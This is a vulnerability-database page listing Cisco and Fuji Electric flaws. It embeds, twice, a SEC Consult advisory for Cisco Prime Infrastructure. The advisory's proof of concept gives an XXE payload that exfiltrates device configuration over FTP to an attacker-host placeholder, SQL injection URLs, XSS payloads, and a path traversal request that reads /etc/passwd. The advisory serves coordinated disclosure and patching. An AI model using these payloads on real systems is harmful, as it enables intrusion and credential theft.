VARIoT IoT vulnerabilities database

A vulnerability in the web framework code of Cisco Firepower Management Center could allow an authenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the web interface of an affected system. Affected Products: Cisco Firepower Management Center Software Releases prior to 6.0.0.0. More Information: CSCuy88785. Known Affected Releases: 5.4.1.6. Other attacks are also possible. This issue is being tracked by Cisco Bug ID CSCuy88785. The vulnerability stems from the program's insufficient validation of user-submitted input. A remote attacker could exploit this vulnerability to execute arbitrary script code within the context of an affected system

A vulnerability in the web framework of Cisco Firepower Management Center could allow an authenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web interface. More Information: CSCvc38801. Known Affected Releases: 6.0.1.3 6.2.1. Known Fixed Releases: 6.2.1. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. This issue is being tracked by Cisco Bug ID CSCvc38801. The vulnerability stems from the program's insufficient validation and filtering of user-submitted input

A vulnerability in the CLI of Cisco IOS XR Software could allow an authenticated, local attacker to elevate privileges to the root level. More Information: CSCvb99384. Known Affected Releases: 6.2.1.BASE. Known Fixed Releases: 6.2.11.3i.ROUT 6.2.1.29i.ROUT 6.2.1.26i.ROUT. Cisco IOSXR Software is a fully modular, distributed network operating system from Cisco's IOS software family, including IOST, IOSS, and IOSXR. An elevation of privilege vulnerability exists in CLL in Cisco IOSXR Software, which is caused by a program failing to properly set permissions for a binary file. A local attacker can exploit the vulnerability to overwrite the binaries on the file system by sending a specially crafted command to the affected device to raise the privilege to root. This issue is being tracked by Cisco Bug ID CSCvb99384

A vulnerability in the CLI of Cisco IOS XR Software could allow an authenticated, local attacker to execute arbitrary commands on the host operating system with root privileges, aka Command Injection. More Information: CSCvb99406. Known Affected Releases: 6.2.1.BASE. Known Fixed Releases: 6.2.1.28i.BASE 6.2.1.22i.BASE 6.1.32.8i.BASE 6.1.31.3i.BASE 6.1.3.10i.BASE. Cisco IOS is the interconnected network operating system used on most Cisco system routers and network switches. Cisco IOSXRSoftware has a security vulnerability in the CLI implementation. This issue is being tracked by Cisco bug ID CSCvb99406. Cisco IOS XR Software is a set of completely modularized and distributed network operating systems in Cisco's IOS software series (including IOS T, IOS S and IOS XR)

A vulnerability in the ingress processing of fragmented TCP packets by Cisco Wide Area Application Services (WAAS) could allow an unauthenticated, remote attacker to cause the WAASNET process to restart unexpectedly, causing a denial of service (DoS) condition. More Information: CSCvc57428. Known Affected Releases: 6.3(1). Known Fixed Releases: 6.3(0.143) 6.2(3c)6 6.2(3.22). An attacker can exploit this issue to cause a denial-of-service condition, denying service to legitimate users. This issue is being tracked by Cisco Bug ID CSCvc57428. This software is mainly used in the link environment with small bandwidth and large delay. The vulnerability stems from the fact that the program does not perform sufficient input validation on TCP packets

A vulnerability in the Extensible Messaging and Presence Protocol (XMPP) service of Cisco Unified Contact Center Express (UCCx) could allow an unauthenticated, remote attacker to masquerade as a legitimate user, aka a Clear Text Authentication Vulnerability. More Information: CSCuw86638. Known Affected Releases: 10.6(1). Known Fixed Releases: 11.5(1.10000.61). Vendors have confirmed this vulnerability Bug ID CSCuw86638 It is released as.A remote attacker can impersonate a legitimate user. Successful exploits may allow an attacker to bypass certain security restrictions. This may allow the attacker to masquerade as a legitimate user, aiding in further attacks. This issue is tracked by Cisco Bug ID CSCuw86638. This component integrates agent application and self-service voice service, and provides functions such as call distribution and customer access control. There is a security vulnerability in XMPP in Cisco UCCx, which is caused by the program not properly handling insecure HTTP ports

A vulnerability in the web framework code of Cisco Prime Infrastructure could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web interface of an affected system. More Information: CSCuw65843. Known Affected Releases: 3.1(0.0). Vendors have confirmed this vulnerability Bug ID CSCuw65843 It is released as.Of the affected system by a remote attacker. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID CSCuw65843. Cisco Prime Infrastructure (PI) is a set of Cisco (Cisco) wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technology. The vulnerability stems from the fact that the program does not adequately perform input validation on the parameters passed to the web server

A vulnerability in the web framework code of Cisco Prime Infrastructure could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web interface of an affected system. More Information: CSCuw65833 CSCuw65837. Known Affected Releases: 2.2(2). An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug IDs CSCuw65833 and CSCuw65837. Cisco Prime Infrastructure (PI) is a set of Cisco (Cisco) wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technology. The vulnerability stems from the fact that the program does not adequately perform input validation on the parameters passed to the web server

A vulnerability in the IPsec component of Cisco StarOS for Cisco ASR 5000 Series Routers could allow an unauthenticated, remote attacker to terminate all active IPsec VPN tunnels and prevent new tunnels from establishing, resulting in a denial of service (DoS) condition. Affected Products: ASR 5000 Series Routers, Virtualized Packet Core (VPC) Software. More Information: CSCvc21129. Known Affected Releases: 21.1.0 21.1.M0.65601 21.1.v0. Known Fixed Releases: 21.2.A0.65754 21.1.b0.66164 21.1.V0.66014 21.1.R0.65759 21.1.M0.65749 21.1.0.66030 21.1.0. The Cisco ASR5000 Series is a carrier-grade platform for deploying high-demand 3G networks and migrating to long-term evolution. StarOS is a set of Linux operating systems for it. CiscoStarOS for Cisco ASR5000 SeriesRouters has security vulnerabilities in the IPsec component. The IKE message was not processed correctly by the program. An attacker can exploit this issue to cause a denial-of-service condition. This issue is being tracked by Cisco Bug ID CSCvc21129

A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an authenticated, remote attacker to conduct a reflective cross-site scripting (XSS) attack against a user of the web-based management interface of an affected device. More Information: CSCvc85415. Known Affected Releases: 2.1(0.800). An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID CSCvc85415 . The platform monitors the network by collecting real-time information on the network, users and devices, and formulating and implementing corresponding policies

A vulnerability in the web-based management interface of Cisco Prime Infrastructure (PI) and Evolved Programmable Network Manager (EPNM) could allow an unauthenticated, remote attacker to conduct a reflected cross-site scripting (XSS) attack against a user of the web-based management interface of an affected device. More Information: CSCvc24616 CSCvc35363 CSCvc49574. Known Affected Releases: 3.1(1) 2.0(4.0.45B). Vendors have confirmed this vulnerability Bug ID CSCvc24616 , CSCvc35363 , CSCvc49574 It is released as.Information may be obtained and information may be altered. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID's CSCvc24616, CSCvc35363 and CSCvc49574. PI is a set of wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technologies; EPNM is a set of network management solutions. SEC Consult Vulnerability Lab Security Advisory < 20170622-0 > ======================================================================= title: XML External Entity Injection (XXE), SQL Injection, Cross Site Scripting, Local File Disclosure product: Cisco Prime Infrastructure vulnerable version: 1.1 through 3.1.6 fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release) CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700 impact: high homepage: http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Cisco Systems, Inc. (known as Cisco) is an American multinational technology conglomerate headquartered in San JosA(c), California, that develops, manufactures, and sells networking hardware, telecommunications equipment, and other high-technology services and products. Through its numerous acquired subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper, Cisco specializes into specific tech markets, such as Internet of Things (IoT), domain security, and energy management." Source: https://en.wikipedia.org/wiki/Cisco_Systems Business recommendation: ------------------------ SEC Consult recommends to install the latest patch to fix the identified vulnerabilities. Since SEC Consult only performed a short security crash test on this product it is highly recommended to perform a thorough security review as there are indications for further vulnerabilities. Vulnerability overview/description: ----------------------------------- SEC Consult was able to identify some serious vulnerabilities with the low privileged "monitor-only" user. 1) XML External Entity Injection (CVE-2017-6662) The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by a low privileged read-only user to read sensitive information files with malicious XML code. The hashed password of the local admin user can be accessed without authorization. 2) SQL Injection (CVE-2017-6698) The identified SQL injection vulnerability enables an authenticated attacker with low privileges to execute arbitrary SQL commands. 4) Local File Disclosure (no CVE assigned) Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2017-6662) Login with a low privileged user and navigate to Settings > Export > select Format 'PDF' click 'Export'. Make sure the 'Chart' option is selected, this chart uses XML to build SVG images. POST /webacs/prime/ui/dashboard/renderer HTTP/1.1 Host: <CiscoPrimeHost> [...] output-type=pdf&content={"applicationName":"sectest","reportName":"Site","options":{},"timezoneOffset":0,"items":[{"options":{"filters":[],"additionalInfo":[""]},"svgSurface":{"svg":"<%3fxml+version%3d\"1.0\"+encoding%3d\"UTF-8\"%3f><!DOCTYPE x [<!ENTITY %25 foo SYSTEM \"http://<AttackerHost>:1234/sectest.dtd\">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><svg+xmlns%3alink%3d\"http%3a//www.w3.org/1999/xlink\"+xmlns%3d\"http%3a//www.w3.org/2000/svg\"><defs/><text>%26%65%78%66%69%6c%3b</text></svg>","dims"%3a{"width"%3a0,"height"%3a0}},"csv"%3a"Devices,\"","title"%3a"","timestamp"%3a""}],"noBrandingData"%3atrue,"locale"%3a"en"}&pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D $ cat sectest.dtd <!ENTITY % data SYSTEM "file:///storedconfig/active/startup-config"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>"> $ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_66@ > 230 more data please! < TYPE I > 230 more data please! < CWD ! > 230 more data please! < hostname <CiscoPrimeHost> [...] < ! > 230 more data please! < username admin password hash <AdminHashedPassword> > 230 more data please! < CWD role admin > 230 more data please! < ! [...] 2) SQL Injection (CVE-2017-6698) A low privileged user such as "monitor-only" user can read the admin's password hashes via SQL injection. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS?categoryPath=global%2fPI_RECENT_LINKS<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/device-rest/getfiltercriteria/device?start=0&count=100&id=<SQL-Injection>&path=%2Froot Some vulnerable entry points require administrator privileges to exploit. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/DASHBOARD_CONFIG:com_cisco_xmp_web_page_smartlicense_dashboard?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/userService/getAuditRecordsForGivenRange/?userName=/<SQL-Injection>&ipAddress=/<SQL-Injection>&time=/<SQL-Injection>&auditDescription=/<SQL-Injection>&userGroup=/<SQL-Injection>&activeDomain=/<SQL-Injection> https://<CiscoPrimeHost>/webacs/inventoryRestService/ifm/inventory-rest/getImportTaskStatusDTO/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getJobDetails/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobs/<SQL-Injection>/Lightweight%20AP%20Operational%20Status Some URLs with this pattern are affected by the SQL injection vulnerability in the JSON field. https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.proxy/ (HTTP POST) { "items": [ "<SQL-Injection>", "ProxyPort", "ProxyUserName", "ProxyPassword", "isProxyEnabled", "isProxyAuthenticated" ] } https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.swim/ (HTTP POST) { "items": [ "<SQL-Injection>", "CCOPassword" ] } 3) Cross site scripting a) Reflected cross site scripting (CVE-2017-6699) https://<CiscoPrimeHost>/webacs/applications/common/jsp/SystemPreferences_Configurable.jsp?taskName=<img+src=x+onerror=alert(/XSS1/)>&confUrl=</ScR</ScRipT>ipT><img+src=x+onerror=alert(/XSS2/)> https://<CiscoPrimeHost>/webacs/applications/inventory/html/ImportJobResults.jsp?taskId=</sc</script>ript><img+src=x+onerror=alert(/XSS1/)>&jobResultPageId='><img+src=x+onerror=alert(/XSS2/)> b) DOM-based cross site scripting (CVE-2017-6700) https://<CiscoPrimeHost>/webacs/index_abs.jsp?theme=prime#pageId=com_cisco_ifm_ui_web_page_job_dashboard_import_view&taskId=<ExistingTaskID>&jobName="><img src=x onerror=alert(/XSS/)>&pageSettings= https://<CiscoPrimeHost>/webacs/loginAction.do?action=login&product=wcs&selectedCategory=en#pageId=com_cisco_ifm_ui_web_page_job_dashboard_detail_view&forceLoad=true&jobType=Infrastructure&workState=Scheduled&parentType=usrDefined&lastRunJobId=<ExistingJobId>&lastRunResultState=Success&jobId=<ExistingJobId>&jobName=Mobility Service Status&jobBreadcrumName="><img src=x onerror=alert(/XSS/)> 4) Local File Disclosure The attacker must be in the super users or admin group in order to exploit this vulnerability. https://<CiscoPrimeHost>/webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd GET /webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: <CiscoPrimeHost> [...] HTTP/1.1 200 OK Cache-Control: private Expires: Thu, 01 Jan 1970 01:00:00 CET Content-Disposition: attachement; filename="../../../../../../../../../../../../../../../../../../../../etc/passwd.zip" Content-Type: application/zip [...] $ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip Archive: _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../etc/passwd inflating: etc/passwd $ cat etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt [...] Vulnerable / tested versions: ----------------------------- According to information provided by Cisco, the following versions are affected: 1.1 through 3.1.6 SEC Consult tested the following versions which were the most recent ones at the time of discovery: * 3.1.0.0.70 * 3.1.0.0.132 incl. 3.1.4 patch Vendor contact timeline: ------------------------ 2016-11-23: Contacting vendor through psirt@cisco.com. 2016-11-23: Initial response from Cisco PSIRT. 2016-11-24: Additional vulnerabilities added. 2016-12-14: Cisco proposed target date for the fixes for March 2017. 2017-03-03: Cisco postponed target date for the fixes to 31 May 2017. 2017-05-16: Cisco postponed target date for the fixes to 21 June 2017. 2017-06-14: CVEs are assigned to the vulnerabilities. 2017-06-21: Patches available 2017-06-22: Coordinated release of security advisory. Solution: --------- Install the patch version 3.1.6 Update 1. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2017

A vulnerability in the web-based management interface of Cisco Prime Infrastructure (PI) and Evolved Programmable Network Manager (EPNM) could allow an unauthenticated, remote attacker to conduct a Document Object Model (DOM) based (environment or client-side) cross-site scripting (XSS) attack against a user of the web-based management interface of an affected device. More Information: CSCvc24620 CSCvc49586. Known Affected Releases: 3.1(1) 2.0(4.0.45B). Vendors have confirmed this vulnerability Bug ID CSCvc24620 , CSCvc49586 It is released as.Information may be obtained and information may be altered. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID's CSCvc24620 and CSCvc49586. PI is a set of wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technologies; EPNM is a set of network management solutions. SEC Consult Vulnerability Lab Security Advisory < 20170622-0 > ======================================================================= title: XML External Entity Injection (XXE), SQL Injection, Cross Site Scripting, Local File Disclosure product: Cisco Prime Infrastructure vulnerable version: 1.1 through 3.1.6 fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release) CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700 impact: high homepage: http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Cisco Systems, Inc. (known as Cisco) is an American multinational technology conglomerate headquartered in San JosA(c), California, that develops, manufactures, and sells networking hardware, telecommunications equipment, and other high-technology services and products. Through its numerous acquired subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper, Cisco specializes into specific tech markets, such as Internet of Things (IoT), domain security, and energy management." Source: https://en.wikipedia.org/wiki/Cisco_Systems Business recommendation: ------------------------ SEC Consult recommends to install the latest patch to fix the identified vulnerabilities. Since SEC Consult only performed a short security crash test on this product it is highly recommended to perform a thorough security review as there are indications for further vulnerabilities. Vulnerability overview/description: ----------------------------------- SEC Consult was able to identify some serious vulnerabilities with the low privileged "monitor-only" user. 1) XML External Entity Injection (CVE-2017-6662) The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by a low privileged read-only user to read sensitive information files with malicious XML code. The hashed password of the local admin user can be accessed without authorization. 2) SQL Injection (CVE-2017-6698) The identified SQL injection vulnerability enables an authenticated attacker with low privileges to execute arbitrary SQL commands. 4) Local File Disclosure (no CVE assigned) Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2017-6662) Login with a low privileged user and navigate to Settings > Export > select Format 'PDF' click 'Export'. Make sure the 'Chart' option is selected, this chart uses XML to build SVG images. POST /webacs/prime/ui/dashboard/renderer HTTP/1.1 Host: <CiscoPrimeHost> [...] output-type=pdf&content={"applicationName":"sectest","reportName":"Site","options":{},"timezoneOffset":0,"items":[{"options":{"filters":[],"additionalInfo":[""]},"svgSurface":{"svg":"<%3fxml+version%3d\"1.0\"+encoding%3d\"UTF-8\"%3f><!DOCTYPE x [<!ENTITY %25 foo SYSTEM \"http://<AttackerHost>:1234/sectest.dtd\">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><svg+xmlns%3alink%3d\"http%3a//www.w3.org/1999/xlink\"+xmlns%3d\"http%3a//www.w3.org/2000/svg\"><defs/><text>%26%65%78%66%69%6c%3b</text></svg>","dims"%3a{"width"%3a0,"height"%3a0}},"csv"%3a"Devices,\"","title"%3a"","timestamp"%3a""}],"noBrandingData"%3atrue,"locale"%3a"en"}&pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D $ cat sectest.dtd <!ENTITY % data SYSTEM "file:///storedconfig/active/startup-config"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>"> $ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_66@ > 230 more data please! < TYPE I > 230 more data please! < CWD ! > 230 more data please! < hostname <CiscoPrimeHost> [...] < ! > 230 more data please! < username admin password hash <AdminHashedPassword> > 230 more data please! < CWD role admin > 230 more data please! < ! [...] 2) SQL Injection (CVE-2017-6698) A low privileged user such as "monitor-only" user can read the admin's password hashes via SQL injection. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS?categoryPath=global%2fPI_RECENT_LINKS<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/device-rest/getfiltercriteria/device?start=0&count=100&id=<SQL-Injection>&path=%2Froot Some vulnerable entry points require administrator privileges to exploit. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/DASHBOARD_CONFIG:com_cisco_xmp_web_page_smartlicense_dashboard?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/userService/getAuditRecordsForGivenRange/?userName=/<SQL-Injection>&ipAddress=/<SQL-Injection>&time=/<SQL-Injection>&auditDescription=/<SQL-Injection>&userGroup=/<SQL-Injection>&activeDomain=/<SQL-Injection> https://<CiscoPrimeHost>/webacs/inventoryRestService/ifm/inventory-rest/getImportTaskStatusDTO/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getJobDetails/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobs/<SQL-Injection>/Lightweight%20AP%20Operational%20Status Some URLs with this pattern are affected by the SQL injection vulnerability in the JSON field. https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.proxy/ (HTTP POST) { "items": [ "<SQL-Injection>", "ProxyPort", "ProxyUserName", "ProxyPassword", "isProxyEnabled", "isProxyAuthenticated" ] } https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.swim/ (HTTP POST) { "items": [ "<SQL-Injection>", "CCOPassword" ] } 3) Cross site scripting a) Reflected cross site scripting (CVE-2017-6699) https://<CiscoPrimeHost>/webacs/applications/common/jsp/SystemPreferences_Configurable.jsp?taskName=<img+src=x+onerror=alert(/XSS1/)>&confUrl=</ScR</ScRipT>ipT><img+src=x+onerror=alert(/XSS2/)> https://<CiscoPrimeHost>/webacs/applications/inventory/html/ImportJobResults.jsp?taskId=</sc</script>ript><img+src=x+onerror=alert(/XSS1/)>&jobResultPageId='><img+src=x+onerror=alert(/XSS2/)> b) DOM-based cross site scripting (CVE-2017-6700) https://<CiscoPrimeHost>/webacs/index_abs.jsp?theme=prime#pageId=com_cisco_ifm_ui_web_page_job_dashboard_import_view&taskId=<ExistingTaskID>&jobName="><img src=x onerror=alert(/XSS/)>&pageSettings= https://<CiscoPrimeHost>/webacs/loginAction.do?action=login&product=wcs&selectedCategory=en#pageId=com_cisco_ifm_ui_web_page_job_dashboard_detail_view&forceLoad=true&jobType=Infrastructure&workState=Scheduled&parentType=usrDefined&lastRunJobId=<ExistingJobId>&lastRunResultState=Success&jobId=<ExistingJobId>&jobName=Mobility Service Status&jobBreadcrumName="><img src=x onerror=alert(/XSS/)> 4) Local File Disclosure The attacker must be in the super users or admin group in order to exploit this vulnerability. https://<CiscoPrimeHost>/webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd GET /webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: <CiscoPrimeHost> [...] HTTP/1.1 200 OK Cache-Control: private Expires: Thu, 01 Jan 1970 01:00:00 CET Content-Disposition: attachement; filename="../../../../../../../../../../../../../../../../../../../../etc/passwd.zip" Content-Type: application/zip [...] $ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip Archive: _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../etc/passwd inflating: etc/passwd $ cat etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt [...] Vulnerable / tested versions: ----------------------------- According to information provided by Cisco, the following versions are affected: 1.1 through 3.1.6 SEC Consult tested the following versions which were the most recent ones at the time of discovery: * 3.1.0.0.70 * 3.1.0.0.132 incl. 3.1.4 patch Vendor contact timeline: ------------------------ 2016-11-23: Contacting vendor through psirt@cisco.com. 2016-11-23: Initial response from Cisco PSIRT. 2016-11-24: Additional vulnerabilities added. 2016-12-14: Cisco proposed target date for the fixes for March 2017. 2017-03-03: Cisco postponed target date for the fixes to 31 May 2017. 2017-05-16: Cisco postponed target date for the fixes to 21 June 2017. 2017-06-14: CVEs are assigned to the vulnerabilities. 2017-06-21: Patches available 2017-06-22: Coordinated release of security advisory. Solution: --------- Install the patch version 3.1.6 Update 1. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2017

A vulnerability in the web application interface of the Cisco Identity Services Engine (ISE) portal could allow an unauthenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the web interface of an affected system. More Information: CSCvd49141. Known Affected Releases: 2.1(102.101). Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. This issue is being tracked by Cisco Bug ID CSCvd49141. The platform monitors the network by collecting real-time information on the network, users and devices, and formulating and implementing corresponding policies. The vulnerability stems from the program's insufficient filtering of user-submitted data

A vulnerability in the web framework of Cisco SocialMiner could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web interface of an affected system. More Information: CSCve15285. Known Affected Releases: 11.5(1). CiscoSocialMiner is a social media customer care solution. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID CSCve15285

A vulnerability in the web application in the Cisco Prime Collaboration Provisioning tool could allow an unauthenticated, remote attacker to hijack another user's session. More Information: CSCvc90346. Known Affected Releases: 12.1. This issue is being tracked by Cisco bug ID CSCvc90346. The tool provides IP communications services capabilities for IP telephony, voice mail, and unified communications environments

A vulnerability in the web application in the Cisco Prime Collaboration Provisioning tool could allow an authenticated, remote attacker to perform arbitrary file downloads that could allow the attacker to read files from the underlying filesystem. More Information: CSCvc90335. Known Affected Releases: 12.1. Information obtained may aid in further attacks. This issue being tracked by Cisco Bug ID CSCvc90335. The tool provides IP communications services capabilities for IP telephony, voice mail, and unified communications environments

An issue was discovered in Fuji Electric V-Server Version 3.3.22.0 and prior. A memory corruption vulnerability has been identified (aka improper restriction of operations within the bounds of a memory buffer), which may allow remote code execution. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within parsing of a VPR file. The issue results from the lack of proper validation of user-supplied data which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process. Fuji Electric V-Server is a data collection software from Fuji Electric of Japan. Failed attacks will cause denial of service conditions

